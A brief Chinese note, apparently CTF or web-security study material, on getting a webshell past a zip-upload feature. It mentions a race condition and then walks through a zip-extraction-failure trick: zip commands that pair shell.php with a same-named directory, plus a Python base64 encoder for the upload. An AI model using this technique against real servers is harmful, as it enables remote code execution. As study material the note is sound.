一种方法是条件竞争,还有一种是解压失败逻辑漏洞
通过zip解压失败
的方式来写入shell,只要压缩包中目录名和一个文件名相同,这样解压时候会报错,但是文件已经解压出来了
实现步骤
zip -y exp.zip shell.php //把shell.php文件压缩进exp.zip
rm shell.php //删除shell.php文件
mkdir shell.php //创建shell.php文件夹
echo 1 > ./shell.php/1 //把1存进当前目录下shell.php文件中名字为1的文件中(可导致解压失败)
zip -y exp.zip shell.php/1 //把shell.php文件夹及其下1文件压缩进exp.zip
将压缩包进行base64加密后上传
import base64
tmp = open("C:\\Users\\86159\\Desktop\\exp.zip","rb").read()
print(base64.b64encode(tmp))